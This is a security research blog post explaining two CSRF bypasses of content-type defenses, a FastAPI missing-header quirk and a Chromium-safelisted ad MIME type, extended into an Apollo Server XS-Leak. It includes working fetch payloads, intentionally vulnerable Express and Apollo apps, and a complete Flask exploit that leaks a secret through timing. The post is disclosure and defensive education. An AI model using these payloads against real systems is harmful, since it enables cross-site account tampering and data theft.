All posts

We Need to Talk About CSRF Again

Two CSRF scenarios that bypass content-type-based defenses; a FastAPI quirk where a missing Content-Type means JSON, and a Chromium-only safelist entry that skipped CORS preflights and powered an Apollo Server XS-Leak (since patched).

There's a specific thing that happens when a vulnerability gets old. People stop worrying about it. It becomes the thing you mention in the security checklist, tick the box, and move on. CSRF has firmly hit that stage. The attack pattern is well understood, the defenses are documented everywhere, and most developers will tell you, with confidence, that they've handled it.

And that's exactly where things go sideways.

I've spent a while digging into CSRF scenarios that live in the corners; the ones that hit applications with existing protections, not just naively undefended endpoints. Two of them took me further than I expected when I first started looking, and both ended up becoming CTF challenges I published.

This post walks through both, from the browser mechanics down to real production code that got caught off guard.

A Quick Refresher on the Mechanics

Real quick, because the details matter for everything that follows.

CSRF works by tricking your browser into making a request to a site you're already logged into, without you knowing it's happening. The attacker doesn't need your password. They don't need to break any encryption. All they need is for your browser to fire a request while your session cookie is still alive, and if the target server doesn't verify where that request came from, it'll process it like any other.

If this is new territory, PortSwigger's Web Security Academy has a solid breakdown worth going through before reading further.

For CSRF to actually work, a few conditions have to line up at once:

  1. The victim has to visit a page the attacker controls. This is the trigger. No visit, no request.
  2. The victim has to be authenticated to the target site at the time of the visit, with their session cookie alive in the browser. If they logged out, or if the cookie expired, the request fires but lands as anonymous.
  3. The session cookie has to actually be sent on cross-origin requests, which depends on its SameSite attribute. Cookies set with SameSite=Strict won't ride along on a cross-site request at all. SameSite=Lax (the modern default in most browsers) sends cookies on top-level navigations but blocks them on cross-origin fetch and XMLHttpRequest. Only cookies explicitly marked SameSite=None; Secure will be attached to a cross-origin fetch. Which, for the attacks in this post, is the configuration that has to be in place.
  4. The browser has to actually let the request through. Same-Origin Policy and CORS gate most cross-origin requests behind a preflight check, but certain "simple" requests skip that step entirely. Those are the requests both scenarios in this post target.

The first three conditions are about the victim's environment. The fourth is where the bypass actually happens, and it's worth understanding in a bit more detail before we get to the scenarios.

When a page on one origin (say, attacker.com) tries to send a request to a different origin (bank.com), the browser enforces the Same-Origin Policy, which combined with CORS (Cross-Origin Resource Sharing) creates a permission system. For anything the browser considers a "complex" request, it does a preflight: an OPTIONS request that essentially asks the server, "are you expecting something like this?" If the server doesn't respond with the right CORS headers, the browser kills the actual request before it ever fires.

Solid protection; when it applies. There's a category called simple requests that skip the preflight entirely. The browser just sends them, no CORS negotiation, no questions asked. And one of the main factors that determines whether a request is "simple" is its Content-Type header.

Per the WHATWG Fetch specification, only three Content-Type values qualify a request as simple:

Anything else, like application/json, custom types, or whatever, triggers a preflight. So historically, a cross-origin POST with a JSON body was safe: the preflight would catch it, and a server without permissive CORS would reject the OPTIONS request.

But here's the thing. Attackers don't need to send JSON if the server is going to interpret their payload as JSON anyway. That's the gap both scenarios in this post live in.

Content-Type Is Not a Defense

Think about an application that receives a POST with a JSON body. It seems safe: Content-Type: application/json triggers a preflight, and a cross-origin request from attacker.com to bank.com won't be allowed through.

But what if the application ignores the Content-Type it's sent and just parses the body as JSON regardless? That assumption opens up three scenarios worth thinking through:

  1. Send a JSON body with one of the three documented simple content types (the classic case).
  2. Omit the Content-Type header entirely and send the JSON body anyway (Scenario 1).
  3. Use a content type that was never documented as simple, but the browser treated as one anyway (Scenario 2).

Scenario 1: What if There's No Content-Type Header at All?

In November 2024, I published an open-source CTF challenge built around a FastAPI application. The vulnerable endpoint was a profile update:

@app.post("/profile/update", response_model=Dict[str, str])
async def update_profile(
    update_data: ProfileUpdate,
    current_user: Dict = Depends(get_current_user)
):
    cursor.execute("""
        UPDATE users SET email = ?, name = ? WHERE username = ?
    """, (update_data.email, update_data.name, current_user["username"]))
    conn.commit()
    return {"message": "Profile updated successfully"}

Nothing suspicious on the surface. FastAPI validates the request body against a Pydantic model (ProfileUpdate). The natural assumption is that for FastAPI to parse the body as JSON, the request needs to arrive with Content-Type: application/json, which would trigger a preflight, and if the CORS policy didn't allow it, the browser would block the request.

That assumption turned out to be wrong.

Here's what FastAPI was actually doing under the hood at the time:

body_bytes = await request.body()
if body_bytes:
    json_body: Any = Undefined
    content_type_value = request.headers.get("content-type")
    if not content_type_value:
        json_body = await request.json()
    else:
        message = email.message.Message()
        message["content-type"] = content_type_value
        if message.get_content_maintype() == "application":
            subtype = message.get_content_subtype()
            if subtype == "json" or subtype.endswith("+json"):
                json_body = await request.json()

There it is:

if not content_type_value:
    json_body = await request.json()

If there's no Content-Type header at all, FastAPI doesn't say "I don't know what this is." It says "must be JSON" and parses it. The absence of a header became implicit permission to treat the body as JSON. (FastAPI has since patched this.)

Turning It Into an Attack

When you write a fetch call with a JSON body in JavaScript, the browser automatically attaches Content-Type: application/json. That triggers a preflight. The CORS dance happens. The server either allows the request or doesn't.

Wrapping the payload in a Blob without specifying a type means the browser has nothing to attach. It sends the request with no Content-Type header. No content type means it qualifies as a simple request, which means no preflight, which means the request fires with the victim's cookies, and FastAPI parses the body as JSON. Profile updated.

fetch('https://vulnerable-corp.com/profile/edit', {
    method: "POST",
    body: new Blob([JSON.stringify({ name: "pwn", email: "[email protected]" })]),
    credentials: "include",
});

The chain is clean. No browser warnings, no preflight negotiation, no user interaction beyond visiting a page.

After the CTF went public, other researchers picked up on the technique. This write-up covers it from a different angle and is worth reading.

The lesson I took from this one: the absence of a Content-Type isn't neutral. Depending on the framework, it can actually be more permissive than sending one.

Scenario 2: The Content-Type That Chromium Quietly Added to the Safelist

This one took me longer to find, and it's the more interesting.

The WHATWG Fetch specification is very explicit about which content types qualify a request as simple. Three. That's the list.

The question I kept coming back to during this research was a simple one: do browsers actually implement the spec faithfully, to the letter?

Most developers just assume yes. The spec exists, browsers follow the spec, that's the contract. But browsers are enormous pieces of software, with millions of lines of code, decades of history, and constant feature additions on top of feature additions. It's not unreasonable to wonder whether something has slipped through.

So I went and read the source.

Firefox and WebKit: Spec-Compliant

Firefox's implementation:

bool nsContentUtils::IsAllowedNonCorsContentType(const nsACString& aHeaderValue) {
    nsAutoCString contentType;
    nsAutoCString unused;

    if (IsCorsUnsafeRequestHeaderValue(aHeaderValue)) {
        return false;
    }

    nsresult rv = NS_ParseRequestContentType(aHeaderValue, contentType, unused);
    if (NS_FAILED(rv)) {
        return false;
    }

    return contentType.LowerCaseEqualsLiteral("text/plain") ||
           contentType.LowerCaseEqualsLiteral("application/x-www-form-urlencoded") ||
           contentType.LowerCaseEqualsLiteral("multipart/form-data");
}

WebKit:

case HTTPHeaderName::ContentType: {
    if (containsCORSUnsafeRequestHeaderBytes(value))
        return false;
    auto parsedContentType = ParsedContentType::create(value);
    if (!parsedContentType)
        return false;
    String mimeType = parsedContentType->mimeType();
    if (!(equalLettersIgnoringASCIICase(mimeType, "application/x-www-form-urlencoded"_s) ||
          equalLettersIgnoringASCIICase(mimeType, "multipart/form-data"_s) ||
          equalLettersIgnoringASCIICase(mimeType, "text/plain"_s)))
        return false;
    break;
}

Both check exactly three types. Both match the spec. Nothing unexpected.

Chromium Has a Fourth

bool IsCorsSafelistedLowerCaseContentType(const std::string& value) {
    DCHECK_EQ(value, base::ToLowerASCII(value));

    if (std::ranges::any_of(value, IsCorsUnsafeRequestHeaderByte)) {
        return false;
    }

    std::optional<std::string> mime_type =
        net::ExtractMimeTypeFromMediaType(value, false);
    if (!mime_type.has_value()) {
        return false;
    }

    return *mime_type == "application/x-www-form-urlencoded" ||
           *mime_type == "multipart/form-data" || *mime_type == "text/plain" ||
           (*mime_type == "message/ad-auction-trusted-signals-request" &&
            base::FeatureList::IsEnabled(
                features::kProtectedAudienceCorsSafelistKVv2Signals));
}

There's a fourth: message/ad-auction-trusted-signals-request.

This MIME type is part of Google's Privacy Sandbox initiative, specifically the Protected Audience API, designed to enable interest-based advertising without third-party cookies. The feature flag kProtectedAudienceCorsSafelistKVv2Signals controls whether this type is safelisted, and it's enabled by default. (Chromium has since patched this, replacing the enabled-by-default feature flag with a per-request bool in TrustedParams that only internal Protected Audiences code can set. Web-initiated requests with this content type now trigger a preflight as expected.)

So on unpatched versions of Chrome, Edge, Brave, and every other Chromium-based browser, sending a cross-origin POST with Content-Type: message/ad-auction-trusted-signals-request triggered no preflight. The browser just sent it.

The WHATWG spec says three types. Chromium says four. No announcement, no flag in the release notes warning developers that CSRF defenses based on content-type blocking had gained a new bypass vector baked in by default.

The Attack

Since CSRF defenses built around content-type blocking maintain a list of the three spec-defined simple types, message/ad-auction-trusted-signals-request isn't on any of them. On unpatched Chromium, the request slid past:

fetch("https://vulnerable-corp.com/profile/update", {
    method: "POST",
    headers: { "Content-Type": "message/ad-auction-trusted-signals-request" },
    body: JSON.stringify({ name: "pwn", email: "[email protected]" }),
    credentials: "include"
});

Unpatched Chromium sent this with no preflight. If the server's body parser is configured to handle JSON regardless of content type (which, as we'll see in a moment, is common), the attack lands cleanly.

A Challenge Around This Pattern

To demonstrate properly, I built a second challenge around an Express.js application with a CSRF defense that genuinely tries to cover its bases:

const SIMPLE_CONTENT_TYPES = [
    'application/x-www-form-urlencoded',
    'multipart/form-data',
    'text/plain',
    ''
];

function csrfProtection(req, res, next) {
    if (req.method === 'OPTIONS') return next();

    const contentType = (req.headers['content-type'] || '').split(';')[0].trim().toLowerCase();

    if (SIMPLE_CONTENT_TYPES.includes(contentType))
        return res.status(403).json({ error: 'Forbidden: simple content-type rejected (potential CSRF)' });

    next();
}

app.use(express.json({ type: () => true }));
app.use(session({ secret: process.env.SECRET, resave: false, saveUninitialized: true }));
app.use(csrfProtection);

Read through it and two things stand out. First, this line sitting quietly at the top:

app.use(express.json({ type: () => true }));

type: () => true tells Express to attempt JSON body parsing on every single incoming request, regardless of Content-Type. It's a convenience pattern. You don't have to think about content negotiation in your route handlers, everything just arrives as a parsed object.

Second, the middleware itself is built around a blacklist of content types it considers dangerous. It's actually thoughtful about it: it strips parameters from the header (so application/json; charset=utf-8 gets normalized to application/json before the check), it blocks all three simple types, and it even blocks the empty string '', meaning the Blob trick from Scenario 1 is explicitly patched here.

So the model is: parse everything as JSON, then reject the request if the content type looks like a CSRF attempt. Which sounds reasonable until you realize the blacklist can only block content types it knows about.

When a request arrives with Content-Type: message/ad-auction-trusted-signals-request:

  1. Express parses the body as JSON ✓
  2. The CSRF middleware checks the content type, which is not in the blocklist ✓
  3. The request passes through to the route handler ✓
  4. The handler receives a perfectly-formed object containing the attacker's payload ✓
fetch("https://vulnerable-corp.com/profile", {
    method: "POST",
    headers: { "Content-Type": "message/ad-auction-trusted-signals-request" },
    body: JSON.stringify({ name: "pwned" }),
    credentials: "include"
});

The challenge just updates a name value in the session, intentionally simple, to keep the focus on the technique. But picture the same pattern on an endpoint that changes a password, updates an account email, or initiates a transfer. Same technique, very different consequences.

This Isn't Just a CTF Thing; Apollo Server and XS-Leak

While digging through Apollo Server's source on a white-box engagement, I came across preventCsrf.ts and saw it uses the same blocklist approach we just walked through:

import MIMEType from 'whatwg-mimetype';
import { BadRequestError } from './internalErrorClasses.js';

export const recommendedCsrfPreventionRequestHeaders = [
    'x-apollo-operation-name',
    'apollo-require-preflight',
];

const NON_PREFLIGHTED_CONTENT_TYPES = [
    'application/x-www-form-urlencoded',
    'multipart/form-data',
    'text/plain',
];

export function preventCsrf(
    headers: HeaderMap,
    csrfPreventionRequestHeaders: string[],
) {
    const contentType = headers.get('content-type');

    if (contentType !== undefined) {
        const contentTypeParsed = MIMEType.parse(contentType);
        if (contentTypeParsed === null) {
            return;
        }
        if (!NON_PREFLIGHTED_CONTENT_TYPES.includes(contentTypeParsed.essence)) {
            return;
        }
    }

    if (
        csrfPreventionRequestHeaders.some((header) => {
            const value = headers.get(header);
            return value !== undefined && value.length > 0;
        })
    ) {
        return;
    }

    throw new BadRequestError(
        `This operation has been blocked as a potential Cross-Site Request Forgery ` +
        `(CSRF). Please either specify a 'content-type' header (with a type that ` +
        `is not one of ${NON_PREFLIGHTED_CONTENT_TYPES.join(', ')}) or provide ` +
        `a non-empty value for one of the following headers: ${csrfPreventionRequestHeaders.join(', ')}\n`,
    );
}

The blocklist has the same three entries. message/ad-auction-trusted-signals-request isn't one of them, so a request carrying that content type passes the check, regardless of whether it's a GET or POST.

You might think at this stage we can just send a POST with a mutation and have Apollo Server execute it, but there are two blockers:

  1. Apollo Server blocks mutations on GET requests; mutations are only allowed over POST.
  2. Apollo Server uses Express's built-in body-parser, which only parses the body as JSON when the Content-Type is strictly application/json.

So POST is out: the bypass content type that gets us past preventCsrf is the same thing that stops body-parser from parsing the body. That leaves GET.

GET: The Way In

GET requests work differently. The query, operation name, variables, and extensions all come from URL parameters, with no body involved at all. Here's how Apollo handles them:

case 'GET': {
    const searchParams = new URLSearchParams(httpRequest.search);

    graphQLRequest = {
        query: searchParamIfSpecifiedOnce(searchParams, 'query'),
        operationName: searchParamIfSpecifiedOnce(searchParams, 'operationName'),
        variables: jsonParsedSearchParamIfSpecifiedOnce(searchParams, 'variables'),
        extensions: jsonParsedSearchParamIfSpecifiedOnce(searchParams, 'extensions'),
        http: httpRequest,
    };

    break;
}

Since the operation lives in the URL, body-parser is irrelevant; there's nothing for it to parse. The bypass content type satisfies preventCsrf, the GET handler reads query straight out of the search params, and the operation runs against the victim's session.

So we can run any query we want against the victim's session, but not mutations. That rules out classic CSRF and pushes the attack toward XS-Leak instead.

Building the XS-Leak

XS-Leak (cross-site leak) is a class of attack where the attacker infers information about a cross-origin response without being able to read it. Same-Origin Policy still hides the response body, but plenty of other things leak through side channels: how long the request took, how big the response was, whether it threw an error. Response timing is exposed through performance APIs, and response size shows up indirectly as download duration.

Here's the vulnerable setup, a small Apollo + Express app with a searchNotes resolver that returns notes matching a substring. The note text is what we'll be exfiltrating.

import { ApolloServer } from "@apollo/server";
import { expressMiddleware } from "@as-integrations/express5";
import express from "express";
import bodyParser from "body-parser";
import cors from "cors";

const notes = [
  { id: "1", text: "voorivex_secret123" },
];

const typeDefs = `#graphql
  type Note {
    id: ID!
    text: String!
  }
  type Query {
    notes: [Note!]!
    searchNotes(query: String!): [Note!]!
  }
`;

const resolvers = {
  Query: {
    notes: () => notes,
    searchNotes: (_, { query }) =>
      notes.filter(n => n.text.toLowerCase().includes(query.toLowerCase()))
  }
};

const server = new ApolloServer({ typeDefs, resolvers });
const app = express();
await server.start();

app.use(
  "/graphql",
  cors(),
  bodyParser.json(),
  expressMiddleware(server)
);

app.listen(4000, () => console.log("🚀 Server ready at http://localhost:4000/graphql"));

Imagine voorivex_secret123 is something only the logged-in user is supposed to see, like an API key, a private token, or internal data tied to the session. Apollo's CSRF protection is in place. CORS is permissive but the response is unreadable cross-origin.

The exploit chains three things together: the Chromium content-type bypass, Apollo's automatic persisted queries (APQ) cache, and a timing oracle on the response. Each one is doing real work, so it's worth walking through them in order.

Step 1: Pick the signal. We can't read the response, but we can measure how long it takes to arrive. Bigger response, longer download. So if we can make a "match" response much bigger than a "no match" response, the time difference becomes a reliable yes/no oracle.

GraphQL aliases make this easy. The same field can be requested under any number of names in a single query (h1: text, h2: text, h3: text, ...), and each alias produces its own copy of the value in the response. Ask for text thousands of times and a search hit serializes the matched note into every alias slot. A short secret balloons into tens of kilobytes.

Step 2: Get the heavy query into the victim's browser. Here's the catch. The only path past preventCsrf + body-parser is GET, and GET has to fit in a URL. Express's default limit is 16 KB for the entire request (URL + headers combined), so a 99,000- character selection set is nowhere close to fitting.

Apollo's automatic persisted queries (APQ) solve this for us. APQ is a performance feature: instead of sending the full query text on every request, the client sends a SHA-256 hash and Apollo looks up the operation from a cache. The first time a hash is seen, the client sends the full query and Apollo caches it. From then on, the short hash is enough to trigger the same operation.

The attacker primes this cache server-to-server. They register 36 cached queries (one per candidate character [a-z0-9]) by POSTing each one to Apollo with a normal application/json content type. Each query searches for prefix + candidate_char and carries thousands of text aliases as padding. Apollo stores them, and from then on each one is addressable by a 64-character hash.

The URL problem dissolves. The 99,000-character query lives on the server, the victim's browser only sends the hash.

Step 3: Probe from the victim's browser. The victim visits the attacker's page. The page fires GET requests to Apollo, one per hash. The Content-Type: message/ad-auction-trusted-signals-request header gets each request past preventCsrf, unpatched Chromium skips the preflight, and the request fires with the victim's cookies attached. Apollo executes the cached query against the victim's data.

The response is unreadable cross-origin, but performance.getEntriesByName(url).duration exposes how long it took. No match returns in single-digit milliseconds. A match (with its tens of kilobytes of inflated response) takes longer.

Step 4: Walk the secret one character at a time. When a hash comes back SLOW, the attacker knows that hash's candidate character matches the next position in the secret. Append it to the known prefix, prime 36 new cached queries, probe again, repeat. The full secret reconstructs character by character, entirely from a page the attacker controls, against a server with CSRF protection enabled, against responses the browser will never let the attacker read directly.

Here's the full exploit, a Flask app that automates the loop. It runs on the attacker's domain, and the victim only has to visit /:

from flask import Flask, request, render_template_string, redirect, url_for
import requests
import hashlib
import random
import json

app = Flask(__name__)

GRAPHQL_ENDPOINT = "http://127.0.0.1:4000/graphql"

def build_query(prefix):
    generated_chars = ""
    limited_chars = 99000

    while limited_chars > len(generated_chars):
        generated_chars += (
            "h"
            + str(random.random()).split(".")[1].replace("-", "")
            + ":text@include(if:true),"
        )

    return f'{{searchNotes(query:"{prefix}"){{{generated_chars}}}}}'

def create_cache_for_prefix(prefix):
    """Generate the huge GraphQL query and send persistedQuery POST"""
    chars = [
        "a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",
        "0","1","2","3","4","5","6","7","8","9"
    ]

    generated_queries = {}
    for i in chars:
        generated_query = build_query(f"{prefix}{i}")
        m = hashlib.sha256()
        m.update(generated_query.encode("utf-8"))

        body = {
            "query": generated_query,
            "extensions": {
                "persistedQuery": {"version": 1, "sha256Hash": m.hexdigest()}
            },
        }

        requests.post(
            GRAPHQL_ENDPOINT,
            data=json.dumps(body),
            headers={"content-type": "application/json"},
        )

        generated_queries[m.hexdigest()] = i

    return generated_queries

@app.route("/")
def index():
    prefix = request.args.get("prefix")

    if prefix:
        # When prefix exists, create cache
        sha = create_cache_for_prefix(prefix)
        return render_template_string(
            TEMPLATE_JS,
            prefix=prefix,
            sha=sha
        )

    # Initial form
    return """
<!DOCTYPE html>
<html>
<head>
<title>Apollo Server XS-Leak Demo</title>
</head>
<body>
<pre><h1>Apollo Server XS-Leak Demo</h1></pre>
</body>
</html>
    """

@app.route("/refresh")
def refresh():
    new_prefix = request.args.get("prefix")
    return redirect(url_for("index", prefix=new_prefix))

TEMPLATE_JS = """
<!DOCTYPE html>
<html>
<head><title>Apollo Server XS-Leak Demo</title></head>
<body>
<pre>
<h1>Apollo Server XS-Leak Demo</h1>
<h3>Exfiltrated characters: '{{prefix}}'</h3>
</pre>

<script>
async function getNetworkDuration(url) {
    await fetch(url, {mode: 'no-cors', credentials: 'include', headers: {"Content-Type": "message/ad-auction-trusted-signals-request"}});
    await new Promise(r => setTimeout(r, 200));
    let res = performance.getEntriesByName(new URL(url).href).pop();
    return res.duration < 10;
}

async function check(hash_list) {
    for (const hash of Object.keys(hash_list)) {
        const url = `http://victim.com:4000/graphql?extensions={"persistedQuery":{"version":1,"sha256Hash":"${hash}"}}`;
        let results = [];
        for (let i = 0; i < 5; i++) {
            results.push(await getNetworkDuration(url));
        }
        let detected = results.every(v => v === false) ? "SLOW" : "FAST";
        if (detected === "SLOW") {
            window.location = `/refresh?prefix={{prefix}}${hash_list[hash]}`;
            break;
        }
    }
}

const hash_list = {{sha|safe}};
check(hash_list);
</script>
</body>
</html>
"""

if __name__ == "__main__":
    app.run(port=80, debug=True)

Demo video showing the full extraction:

Takeaways

Content-type-based CSRF defenses share a common assumption: that the set of "simple" content types is small, known, and stable. Both scenarios in this post broke that assumption from a different direction. Scenario 1 broke it on the server, where a framework decided that no content type meant JSON. Scenario 2 broke it in the browser, where Chromium quietly grew the safelist for an ads API and every blocklist downstream became incomplete by default.

The robust answer hasn't changed: don't rely on content-type checks alone. Anti-CSRF tokens, Origin / Referer validation, and SameSite cookies all do work that a content-type blocklist can't. Use them in combination, and threat-model what an attacker gains by forcing a request through, not just whether the request mutates state.

Hope you liked this one. Happy hacking ;)